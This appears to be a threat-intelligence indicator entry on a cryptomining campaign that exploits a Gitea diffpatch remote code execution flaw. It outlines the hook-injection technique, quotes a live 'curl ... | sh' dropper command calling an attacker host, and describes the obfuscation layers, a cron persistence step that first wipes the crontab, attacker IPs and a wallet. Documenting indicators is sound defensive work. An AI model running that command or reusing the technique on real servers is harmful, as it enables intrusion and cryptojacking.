ThreatFox IOC Database

Anonymous

Cryptomining campaign exploiting CVE-2026-60004 (Gitea diffpatch RCE, CVSS 9.8, CISA KEV 2026-08-25). Attacker commits a file at path hooks/post-index-change, then calls the diffpatch API twice with an identical patch. The resulting add/add collision makes git fall back to a three-way merge and write the indexed path into the active hooks directory, where it is executed while the index is written.



The hook runs "curl -s -k https://repositoryserver.dpdns.org/linuxsh | sh", installing XMRig 6.26.0. Command output is written back as a git blob to refs/heads/rce-proof and retrieved via the raw file API, giving the operator an exfiltration channel.



Payloads use four obfuscation layers: octal escapes expanded by printf %b, then base64, then gzip, then piped to sh. One binary is additionally UPX-packed. Persistence installs a one-minute cron entry after running "crontab -r". Note that the dropper file hash is NOT stable: the outer variable name is randomised on every response.



Observed attacking hosts: 192.53.122.108 (Linode), 103.13.206.65 (Cloud Host Pte Ltd). Monero wallet 41poaCNDTvs33KCFKfekN88Ehf59ddparQdFKFT4XKrUMnc1Ude7xtvhZuKfTai8tDML6gFyTAKY5RuDDxDqLRZpT8QpQ9b, pool account at 4.33 MH/s and 190.83 XMR paid out, about 2.1% of total c3pool hashrate.



Observed first-hand on a compromised host, 3-26 August 2026.